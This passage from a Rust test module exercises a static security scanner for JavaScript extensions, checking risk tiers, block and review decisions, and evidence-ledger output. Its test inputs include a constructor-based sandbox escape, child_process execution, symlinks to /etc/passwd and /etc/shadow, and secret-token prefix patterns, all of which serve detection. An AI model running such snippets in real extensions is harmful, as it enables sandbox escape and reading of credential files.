3926        assert!(has_rule(&report, SecurityRuleId::SensitivePathWrite));
3927    }
3928
3929    #[test]
3930    fn normal_write_not_flagged() {
3931        let report = scan("fs.writeFileSync('/tmp/out.txt', data);");
3932        assert!(!has_rule(&report, SecurityRuleId::SensitivePathWrite));
3933    }
3934
3935    // ---- Medium tier detections ----
3936
3937    #[test]
3938    fn detect_process_env() {
3939        let report = scan("const v = process.env.NODE_ENV;");
3940        assert!(has_rule(&report, SecurityRuleId::ProcessEnvAccess));
3941        assert_eq!(report.overall_tier, RiskTier::Medium);
3942    }
3943
3944    #[test]
3945    fn detect_timer_abuse() {
3946        let report = scan("setInterval(pollServer, 1);");
3947        assert!(has_rule(&report, SecurityRuleId::TimerAbuse));
3948    }
3949
3950    #[test]
3951    fn normal_timer_not_flagged() {
3952        let report = scan("setInterval(tick, 1000);");
3953        assert!(!has_rule(&report, SecurityRuleId::TimerAbuse));
3954    }
3955
3956    #[test]
3957    fn detect_proxy_usage() {
3958        let report = scan("const p = new Proxy(target, handler);");
3959        assert!(has_rule(&report, SecurityRuleId::ProxyReflect));
3960    }
3961
3962    #[test]
3963    fn detect_reflect_usage() {
3964        let report = scan("const v = Reflect.get(obj, 'key');");
3965        assert!(has_rule(&report, SecurityRuleId::ProxyReflect));
3966    }
3967
3968    #[test]
3969    fn detect_with_statement() {
3970        let report = scan("with (obj) { x = 1; }");
3971        assert!(has_rule(&report, SecurityRuleId::WithStatement));
3972    }
3973
3974    // ---- Low tier detections ----
3975
3976    #[test]
3977    fn detect_debugger_statement() {
3978        let report = scan("debugger;");
3979        assert!(has_rule(&report, SecurityRuleId::DebuggerStatement));
3980        assert_eq!(report.overall_tier, RiskTier::Low);
3981    }
3982
3983    #[test]
3984    fn detect_console_error() {
3985        let report = scan("console.error(sensitiveData);");
3986        assert!(has_rule(&report, SecurityRuleId::ConsoleInfoLeak));
3987    }
3988
3989    #[test]
3990    fn console_log_not_flagged() {
3991        // Only console.error/warn flagged, not console.log.
3992        let report = scan("console.log('hello');");
3993        assert!(!has_rule(&report, SecurityRuleId::ConsoleInfoLeak));
3994    }
3995
3996    // ---- Report structure ----
3997
3998    #[test]
3999    fn report_schema_and_rulebook_version() {
4000        let report = scan("// clean");
4001        assert_eq!(report.schema, SECURITY_SCAN_SCHEMA);
4002        assert_eq!(report.rulebook_version, SECURITY_RULEBOOK_VERSION);
4003    }
4004
4005    #[test]
4006    fn report_json_roundtrip() {
4007        let report = scan("eval('bad'); process.env.KEY;");
4008        let json = report.to_json().unwrap();
4009        let back: SecurityScanReport = serde_json::from_str(&json).unwrap();
4010        assert_eq!(back.extension_id, "test-ext");
4011        assert_eq!(back.overall_tier, RiskTier::Critical);
4012        assert!(!back.findings.is_empty());
4013    }
4014
4015    #[test]
4016    #[allow(clippy::needless_raw_string_hashes)]
4017    fn report_tier_counts_accurate() {
4018        let report = scan(
4019            r#"
4020eval('bad');
4021const api_key  = "sk-ant-secret";
4022process.env.KEY;
4023debugger;
4024"#,
4025        );
4026        assert!(report.tier_counts.critical >= 1);
4027        assert!(report.tier_counts.high >= 1);
4028        assert!(report.tier_counts.medium >= 1);
4029        assert!(report.tier_counts.low >= 1);
4030    }
4031
4032    #[test]
4033    fn findings_sorted_by_tier_worst_first() {
4034        let report = scan(
4035            r"
4036debugger;
4037eval('x');
4038process.env.KEY;
4039",
4040        );
4041        // First finding should be Critical (eval), last should be Low (debugger).
4042        assert!(!report.findings.is_empty());
4043        assert_eq!(report.findings[0].risk_tier, RiskTier::Critical);
4044        let last = report.findings.last().unwrap();
4045        assert!(last.risk_tier >= report.findings[0].risk_tier);
4046    }
4047
4048    // ---- Evidence ledger ----
4049
4050    #[test]
4051    fn evidence_ledger_jsonl_format() {
4052        let report = scan("eval('x'); debugger;");
4053        let jsonl = security_evidence_ledger_jsonl(&report).unwrap();
4054        let lines: Vec<&str> = jsonl.lines().collect();
4055        assert_eq!(lines.len(), report.findings.len());
4056        for line in &lines {
4057            let entry: SecurityEvidenceLedgerEntry = serde_json::from_str(line).unwrap();
4058            assert_eq!(entry.schema, SECURITY_EVIDENCE_LEDGER_SCHEMA);
4059            assert_eq!(entry.extension_id, "test-ext");
4060            assert_eq!(entry.rulebook_version, SECURITY_RULEBOOK_VERSION);
4061        }
4062    }
4063
4064    #[test]
4065    fn evidence_ledger_entry_indices_monotonic() {
4066        let report = scan("eval('a'); eval('b'); debugger;");
4067        let jsonl = security_evidence_ledger_jsonl(&report).unwrap();
4068        let entries: Vec<SecurityEvidenceLedgerEntry> = jsonl
4069            .lines()
4070            .map(|l| serde_json::from_str(l).unwrap())
4071            .collect();
4072        for (i, entry) in entries.iter().enumerate() {
4073            assert_eq!(entry.entry_index, i);
4074        }
4075    }
4076
4077    // ---- Comments are skipped ----
4078
4079    #[test]
4080    fn single_line_comment_not_flagged() {
4081        let report = scan("// eval('bad');");
4082        assert!(!has_rule(&report, SecurityRuleId::EvalUsage));
4083    }
4084
4085    #[test]
4086    fn block_comment_not_flagged() {
4087        let report = scan("/* eval('bad'); */");
4088        assert!(!has_rule(&report, SecurityRuleId::EvalUsage));
4089    }
4090
4091    // ---- Determinism ----
4092
4093    #[test]
4094    fn scan_is_deterministic() {
4095        let source = r#"
4096eval('x');
4097const api_key  = "sk-ant-test";
4098process.env.HOME;
4099debugger;
4100"#;
4101        let r1 = scan(source);
4102        let r2 = scan(source);
4103        let j1 = r1.to_json().unwrap();
4104        let j2 = r2.to_json().unwrap();
4105        assert_eq!(j1, j2, "Security scan must be deterministic");
4106    }
4107
4108    // ---- Multiple findings per line ----
4109
4110    #[test]
4111    fn multiple_rules_fire_on_same_line() {
4112        // eval + process.env on same line.
4113        let report = scan("eval(process.env.SECRET);");
4114        assert!(has_rule(&report, SecurityRuleId::EvalUsage));
4115        assert!(has_rule(&report, SecurityRuleId::ProcessEnvAccess));
4116    }
4117
4118    // ---- should_block / needs_review ----
4119
4120    #[test]
4121    fn should_block_only_for_critical() {
4122        assert!(scan("eval('x');").should_block());
4123        assert!(!scan("process.env.X;").should_block());
4124        assert!(!scan("debugger;").should_block());
4125    }
4126
4127    #[test]
4128    fn needs_review_for_critical_and_high() {
4129        assert!(scan("eval('x');").needs_review());
4130        assert!(scan(r#"const api_key  = "sk-ant-test";"#).needs_review());
4131        assert!(!scan("process.env.X;").needs_review());
4132    }
4133
4134    // ================================================================
4135    // Rulebook v2.0.0 — new rule tests
4136    // ================================================================
4137
4138    // ---- SEC-SPAWN-001: child_process command execution ----
4139
4140    #[test]
4141    fn detect_child_process_exec() {
4142        let report = scan("const { exec } = require('child_process'); exec('ls');");
4143        assert!(has_rule(&report, SecurityRuleId::ChildProcessSpawn));
4144        assert_eq!(report.overall_tier, RiskTier::Critical);
4145        assert!(report.should_block());
4146    }
4147
4148    #[test]
4149    fn detect_child_process_spawn() {
4150        let report = scan("const cp = require('child_process'); cp.spawn('node', ['app.js']);");
4151        assert!(has_rule(&report, SecurityRuleId::ChildProcessSpawn));
4152    }
4153
4154    #[test]
4155    fn detect_child_process_fork() {
4156        let report = scan("childProcess.fork('./worker.js');");
4157        assert!(has_rule(&report, SecurityRuleId::ChildProcessSpawn));
4158    }
4159
4160    #[test]
4161    fn regular_exec_not_flagged_as_spawn() {
4162        // exec() without child_process context should NOT trigger.
4163        let report = scan("const result = exec('query');");
4164        assert!(!has_rule(&report, SecurityRuleId::ChildProcessSpawn));
4165    }
4166
4167    // ---- SEC-CONSTRUCTOR-001: constructor escape ----
4168
4169    #[test]
4170    fn detect_constructor_escape() {
4171        let report = scan("const fn = constructor.constructor('return this')();");
4172        assert!(has_rule(&report, SecurityRuleId::ConstructorEscape));
4173        assert_eq!(report.overall_tier, RiskTier::Critical);
4174    }
4175
4176    #[test]
4177    fn detect_constructor_escape_bracket() {
4178        let report = scan(r#"const fn = constructor["constructor"]('return this')();"#);
4179        assert!(has_rule(&report, SecurityRuleId::ConstructorEscape));
4180    }
4181
4182    // ---- SEC-NATIVEMOD-001: native module require ----
4183
4184    #[test]
4185    fn detect_native_node_require() {
4186        let report = scan(r"const addon = require('./native.node');");
4187        assert!(has_rule(&report, SecurityRuleId::NativeModuleRequire));
4188        assert_eq!(report.overall_tier, RiskTier::Critical);
4189    }
4190
4191    #[test]
4192    fn detect_native_so_require() {
4193        let report = scan(r"const lib = require('/usr/lib/evil.so');");
4194        assert!(has_rule(&report, SecurityRuleId::NativeModuleRequire));
4195    }
4196
4197    #[test]
4198    fn detect_native_dylib_require() {
4199        let report = scan(r"const lib = require('./lib.dylib');");
4200        assert!(has_rule(&report, SecurityRuleId::NativeModuleRequire));
4201    }
4202
4203    #[test]
4204    fn normal_require_not_flagged_as_native() {
4205        let report = scan(r"const fs = require('fs');");
4206        assert!(!has_rule(&report, SecurityRuleId::NativeModuleRequire));
4207    }
4208
4209    // ---- SEC-GLOBAL-001: global mutation ----
4210
4211    #[test]
4212    fn detect_global_this_mutation() {
4213        let report = scan("globalThis.fetch = evilFetch;");
4214        assert!(has_rule(&report, SecurityRuleId::GlobalMutation));
4215        assert!(report.needs_review());
4216    }
4217
4218    #[test]
4219    fn detect_global_property_mutation() {
4220        let report = scan("global.process = fakeProcess;");
4221        assert!(has_rule(&report, SecurityRuleId::GlobalMutation));
4222    }
4223
4224    #[test]
4225    fn detect_global_bracket_mutation() {
4226        let report = scan("globalThis['fetch'] = evilFetch;");
4227        assert!(has_rule(&report, SecurityRuleId::GlobalMutation));
4228    }
4229
4230    #[test]
4231    fn global_read_not_flagged() {
4232        // Reading globalThis should not trigger (no assignment).
4233        let report = scan("const f = globalThis.fetch;");
4234        assert!(!has_rule(&report, SecurityRuleId::GlobalMutation));
4235    }
4236
4237    // ---- SEC-SYMLINK-001: symlink creation ----
4238
4239    #[test]
4240    fn detect_fs_symlink() {
4241        let report = scan("fs.symlinkSync('/etc/passwd', '/tmp/link');");
4242        assert!(has_rule(&report, SecurityRuleId::SymlinkCreation));
4243        assert!(report.needs_review());
4244    }
4245
4246    #[test]
4247    fn detect_fs_link() {
4248        let report = scan("fs.linkSync('/etc/shadow', '/tmp/hard');");
4249        assert!(has_rule(&report, SecurityRuleId::SymlinkCreation));
4250    }
4251
4252    // ---- SEC-CHMOD-001: permission changes ----
4253
4254    #[test]
4255    fn detect_chmod() {
4256        let report = scan("fs.chmodSync('/tmp/script.sh', 0o777);");
4257        assert!(has_rule(&report, SecurityRuleId::PermissionChange));
4258        assert!(report.needs_review());
4259    }
4260
4261    #[test]
4262    fn detect_chown() {
4263        let report = scan("fs.chown('/etc/passwd', 0, 0, cb);");
4264        assert!(has_rule(&report, SecurityRuleId::PermissionChange));
4265    }
4266
4267    // ---- SEC-SOCKET-001: socket listeners ----
4268
4269    #[test]
4270    fn detect_create_server() {
4271        let report = scan("const server = http.createServer(handler);");
4272        assert!(has_rule(&report, SecurityRuleId::SocketListener));
4273        assert!(report.needs_review());
4274    }
4275
4276    #[test]
4277    fn detect_create_socket() {
4278        let report = scan("const sock = dgram.createSocket('udp4');");
4279        assert!(has_rule(&report, SecurityRuleId::SocketListener));
4280    }
4281
4282    // ---- SEC-WASM-001: WebAssembly usage ----
4283
4284    #[test]
4285    fn detect_webassembly_instantiate() {
4286        let report = scan("const instance = await WebAssembly.instantiate(buffer);");
4287        assert!(has_rule(&report, SecurityRuleId::WebAssemblyUsage));
4288        assert!(report.needs_review());
4289    }
4290
4291    #[test]
4292    fn detect_webassembly_compile() {
4293        let report = scan("const module = WebAssembly.compile(bytes);");
4294        assert!(has_rule(&report, SecurityRuleId::WebAssemblyUsage));
4295    }
4296
4297    // ---- SEC-ARGUMENTS-001: arguments.callee/caller ----
4298
4299    #[test]
4300    fn detect_arguments_callee() {
4301        let report = scan("const self = arguments.callee;");
4302        assert!(has_rule(&report, SecurityRuleId::ArgumentsCallerAccess));
4303        assert_eq!(report.overall_tier, RiskTier::Medium);
4304    }
4305
4306    #[test]
4307    fn detect_arguments_caller() {
4308        let report = scan("const parent = arguments.caller;");
4309        assert!(has_rule(&report, SecurityRuleId::ArgumentsCallerAccess));
4310    }
4311
4312    // ---- New rule IDs serde roundtrip ----
4313
4314    #[test]
4315    fn new_rule_id_serde_roundtrip() {
4316        let rules = [
4317            SecurityRuleId::ChildProcessSpawn,
4318            SecurityRuleId::ConstructorEscape,
4319            SecurityRuleId::NativeModuleRequire,
4320            SecurityRuleId::GlobalMutation,
4321            SecurityRuleId::SymlinkCreation,
4322            SecurityRuleId::PermissionChange,
4323            SecurityRuleId::SocketListener,
4324            SecurityRuleId::WebAssemblyUsage,
4325            SecurityRuleId::ArgumentsCallerAccess,
4326        ];
4327        for rule in &rules {
4328            let json = serde_json::to_string(rule).unwrap();
4329            let back: SecurityRuleId = serde_json::from_str(&json).unwrap();
4330            assert_eq!(*rule, back, "roundtrip failed for {rule}");
4331        }
4332    }
4333
4334    #[test]
4335    fn new_rule_id_names_are_stable() {
4336        assert_eq!(
4337            serde_json::to_string(&SecurityRuleId::ChildProcessSpawn).unwrap(),
4338            "\"SEC-SPAWN-001\""
4339        );
4340        assert_eq!(
4341            serde_json::to_string(&SecurityRuleId::ConstructorEscape).unwrap(),
4342            "\"SEC-CONSTRUCTOR-001\""
4343        );
4344        assert_eq!(
4345            serde_json::to_string(&SecurityRuleId::NativeModuleRequire).unwrap(),
4346            "\"SEC-NATIVEMOD-001\""
4347        );
4348        assert_eq!(
4349            serde_json::to_string(&SecurityRuleId::GlobalMutation).unwrap(),
4350            "\"SEC-GLOBAL-001\""
4351        );
4352    }
4353
4354    // ---- Determinism with new rules ----
4355
4356    #[test]
4357    fn scan_with_new_rules_is_deterministic() {
4358        let source = r"
4359eval('x');
4360const cp = require('child_process'); cp.exec('ls');
4361globalThis.foo = 'bar';
4362fs.symlinkSync('/a', '/b');
4363fs.chmodSync('/tmp/x', 0o777);
4364const s = http.createServer(h);
4365const m = WebAssembly.compile(b);
4366const c = arguments.callee;
4367constructor.constructor('return this')();
4368const addon = require('./evil.node');
4369";
4370        let r1 = scan(source);
4371        let r2 = scan(source);
4372        let j1 = r1.to_json().unwrap();
4373        let j2 = r2.to_json().unwrap();
4374        assert_eq!(j1, j2, "Scan with new rules must be deterministic");
4375    }
4376
4377    // ---- Deterministic sort: file + line within tier ----
4378
4379    #[test]
4380    fn findings_sorted_deterministically_within_tier() {
4381        let findings = vec![
4382            SecurityFinding {
4383                rule_id: SecurityRuleId::ProcessEnvAccess,
4384                risk_tier: RiskTier::Medium,
4385                rationale: "env".into(),
4386                file: Some("b.ts".into()),
4387                line: Some(10),
4388                column: Some(1),
4389                snippet: None,
4390            },
4391            SecurityFinding {
4392                rule_id: SecurityRuleId::ProcessEnvAccess,
4393                risk_tier: RiskTier::Medium,
4394                rationale: "env".into(),
4395                file: Some("a.ts".into()),
4396                line: Some(5),
4397                column: Some(1),
4398                snippet: None,
4399            },
4400        ];
4401        let report = SecurityScanReport::from_findings("test".into(), findings);
4402        // a.ts should come before b.ts within same tier.
4403        assert_eq!(
4404            report.findings[0].file.as_deref(),
4405            Some("a.ts"),
4406            "Findings should be sorted by file within tier"
4407        );
4408        assert_eq!(report.findings[1].file.as_deref(), Some("b.ts"));
4409    }
4410
4411    // ---- Evidence ledger with new rules ----
4412
4413    #[test]
4414    fn evidence_ledger_includes_new_rules() {
4415        let source = r"
4416constructor.constructor('return this')();
4417const m = WebAssembly.compile(b);
4418const c = arguments.callee;
4419";
4420        let report = scan(source);
4421        let jsonl = security_evidence_ledger_jsonl(&report).unwrap();
4422        let entries: Vec<SecurityEvidenceLedgerEntry> = jsonl
4423            .lines()
4424            .map(|l| serde_json::from_str(l).unwrap())
4425            .collect();
4426        assert!(!entries.is_empty());
4427        assert!(
4428            entries
4429                .iter()
4430                .any(|e| e.rule_id == SecurityRuleId::ConstructorEscape)
4431        );
4432        assert!(
4433            entries
4434                .iter()
4435                .any(|e| e.rule_id == SecurityRuleId::WebAssemblyUsage)
4436        );
4437        // Rulebook version should be 2.1.0
4438        for entry in &entries {
4439            assert_eq!(entry.rulebook_version, "2.1.0");
4440        }
4441    }
4442
4443    // ---- Rulebook version ----
4444
4445    #[test]
4446    fn rulebook_version_is_v2() {
4447        assert_eq!(SECURITY_RULEBOOK_VERSION, "2.1.0");
4448    }
4449
4450    // ---- New rule tier consistency ----
4451
4452    #[test]
4453    fn new_rule_default_tier_consistency() {
4454        assert_eq!(
4455            SecurityRuleId::ChildProcessSpawn.default_tier(),
4456            RiskTier::Critical
4457        );
4458        assert_eq!(
4459            SecurityRuleId::ConstructorEscape.default_tier(),
4460            RiskTier::Critical
4461        );
4462        assert_eq!(
4463            SecurityRuleId::NativeModuleRequire.default_tier(),
4464            RiskTier::Critical
4465        );
4466        assert_eq!(
4467            SecurityRuleId::GlobalMutation.default_tier(),
4468            RiskTier::High
4469        );
4470        assert_eq!(
4471            SecurityRuleId::SymlinkCreation.default_tier(),
4472            RiskTier::High
4473        );
4474        assert_eq!(
4475            SecurityRuleId::PermissionChange.default_tier(),
4476            RiskTier::High
4477        );
4478        assert_eq!(
4479            SecurityRuleId::SocketListener.default_tier(),
4480            RiskTier::High
4481        );
4482        assert_eq!(
4483            SecurityRuleId::WebAssemblyUsage.default_tier(),
4484            RiskTier::High
4485        );
4486        assert_eq!(
4487            SecurityRuleId::ArgumentsCallerAccess.default_tier(),
4488            RiskTier::Medium
4489        );
4490    }
4491
4492    // ---- Install-time risk classifier with new rules ----
4493
4494    #[test]
4495    fn install_time_risk_blocks_critical_new_rules() {
4496        let source = "constructor.constructor('return this')();";
4497        let policy = ExtensionPolicy::default();
4498        let report = classify_extension_source("test-ext", source, &policy);
4499        assert!(report.should_block());
4500        assert_eq!(report.composite_risk_tier, RiskTier::Critical);
4501        assert_eq!(report.recommendation, InstallRecommendation::Block);
4502    }
4503
4504    #[test]
4505    fn install_time_risk_reviews_high_new_rules() {
4506        let source = "const m = WebAssembly.compile(bytes);";
4507        let policy = ExtensionPolicy::default();
4508        let report = classify_extension_source("test-ext", source, &policy);
4509        assert!(report.needs_review());
4510        assert!(matches!(
4511            report.composite_risk_tier,
4512            RiskTier::Critical | RiskTier::High
4513        ));
4514    }
4515
4516    // ---- Comments skip new rules too ----
4517
4518    #[test]
4519    fn commented_new_rules_not_flagged() {
4520        let report = scan("// constructor.constructor('return this')();");
4521        assert!(!has_rule(&report, SecurityRuleId::ConstructorEscape));
4522    }
4523
4524    #[test]
4525    fn block_commented_new_rules_not_flagged() {
4526        let report = scan("/* WebAssembly.compile(bytes); */");
4527        assert!(!has_rule(&report, SecurityRuleId::WebAssemblyUsage));
4528    }
4529
4530    // ── Property tests ──
4531
4532    mod proptest_preflight {
4533        use super::*;
4534        use proptest::prelude::*;
4535
4536        proptest! {
4537            #[test]
4538            fn eval_call_no_false_positive_on_method_calls(
4539                prefix in "[a-zA-Z]{1,10}",
4540                suffix in "[a-zA-Z0-9(), ]{0,20}",
4541            ) {
4542                // Method calls like `obj.eval(...)` should NOT be detected
4543                let text = format!("{prefix}.eval({suffix})");
4544                assert!(
4545                    !contains_eval_call(&text),
4546                    "method call should not trigger eval detection: {text}"
4547                );
4548            }
4549
4550            #[test]
4551            fn eval_call_no_false_positive_on_identifier_suffix(
4552                prefix in "[a-zA-Z]{1,10}",
4553            ) {
4554                // Identifiers ending in "eval" like "retrieval(" should not match
4555                let text = format!("{prefix}eval(x)");
4556                // Only "eval(" at word boundary should match
4557                let expected = !is_js_ident_continue(*prefix.as_bytes().last().unwrap());
4558                assert!(
4559                    contains_eval_call(&text) == expected,
4560                    "eval detection mismatch for '{text}': expected {expected}"
4561                );
4562            }
4563
4564            #[test]
4565            fn dynamic_import_never_triggers_on_static_imports(
4566                module in "[a-z@/.-]{1,30}",
4567            ) {
4568                let text = format!("import {{ foo }} from '{module}';");
4569                assert!(
4570                    !contains_dynamic_import(&text),
4571                    "static import should not trigger: {text}"
4572                );
4573            }
4574
4575            #[test]
4576            fn dynamic_import_detects_import_call(
4577                module in "[a-z@/.-]{1,20}",
4578            ) {
4579                let text = format!("const m = import('{module}');");
4580                assert!(
4581                    contains_dynamic_import(&text),
4582                    "dynamic import should be detected: {text}"
4583                );
4584            }
4585
4586            #[test]
4587            fn extract_quoted_string_roundtrips_double(
4588                content in "[a-zA-Z0-9 _.-]{0,50}",
4589            ) {
4590                let input = format!("\"{content}\" rest");
4591                let extracted = extract_quoted_string(&input);
4592                assert!(
4593                    extracted == Some(content.clone()),
4594                    "expected Some(\"{content}\"), got {extracted:?}"
4595                );
4596            }
4597
4598            #[test]
4599            fn extract_quoted_string_roundtrips_single(
4600                content in "[a-zA-Z0-9 _.-]{0,50}",
4601            ) {
4602                let input = format!("'{content}' rest");
4603                let extracted = extract_quoted_string(&input);
4604                assert!(
4605                    extracted == Some(content.clone()),
4606                    "expected Some('{content}'), got {extracted:?}"
4607                );
4608            }
4609
4610            #[test]
4611            fn extract_quoted_string_none_for_unquoted(
4612                text in "[a-zA-Z0-9]{1,20}",
4613            ) {
4614                assert!(
4615                    extract_quoted_string(&text).is_none(),
4616                    "unquoted text should return None: {text}"
4617                );
4618            }
4619
4620            #[test]
4621            fn is_debugger_statement_deterministic(
4622                text in "[ \t]{0,5}debugger[; \t]{0,5}",
4623            ) {
4624                let r1 = is_debugger_statement(&text);
4625                let r2 = is_debugger_statement(&text);
4626                assert!(r1 == r2, "is_debugger_statement must be deterministic");
4627            }
4628
4629            #[test]
4630            fn timer_abuse_only_triggers_below_10(interval in 0..100u64) {
4631                let text = format!("setInterval(fn, {interval});");
4632                let result = contains_timer_abuse(&text);
4633                if interval < 10 {
4634                    assert!(result, "interval {interval} < 10 should trigger");
4635                } else {
4636                    assert!(!result, "interval {interval} >= 10 should not trigger");
4637                }
4638            }
4639
4640            #[test]
4641            fn hardcoded_secret_detects_known_token_prefixes(
4642                prefix in prop::sample::select(vec![
4643                    "sk-ant-".to_string(),
4644                    "ghp_".to_string(),
4645                    "gho_".to_string(),
4646                    "glpat-".to_string(),
4647                    "xoxb-".to_string(),
4648                ]),
4649                suffix in "[a-zA-Z0-9]{10,20}",
4650            ) {
4651                let text = format!("const token  = \"{prefix}{suffix}\";");
4652                assert!(
4653                    contains_hardcoded_secret(&text),
4654                    "token prefix '{prefix}' should be detected: {text}"
4655                );
4656            }
4657
4658            #[test]
4659            fn hardcoded_secret_ignores_env_lookups(
4660                keyword in prop::sample::select(vec![
4661                    "api_key".to_string(),
4662                    "password".to_string(),
4663                    "secret_key".to_string(),
4664                    "auth_token".to_string(),
4665                ]),
4666            ) {
4667                let text = format!("process.env.{keyword}");
4668                assert!(
4669                    !contains_hardcoded_secret(&text),
4670                    "env lookup should not be flagged: {text}"
4671                );
4672            }
4673
4674            #[test]
4675            fn eval_call_no_false_positive_on_underscore_identifiers(
4676                _dummy in Just(()),
4677            ) {
4678                let text = "my_eval('code')";
4679                assert!(
4680                    !contains_eval_call(text),
4681                    "underscore identifier prefix should not trigger eval detection: {text}"
4682                );
4683            }
4684
4685            #[test]
4686            fn eval_call_no_false_positive_on_dollar_identifiers(
4687                _dummy in Just(()),
4688            ) {
4689                let text = "$eval('code')";
4690                assert!(
4691                    !contains_eval_call(text),
4692                    "dollar identifier prefix should not trigger eval detection: {text}"
4693                );
4694            }
4695        }
4696    }
4697}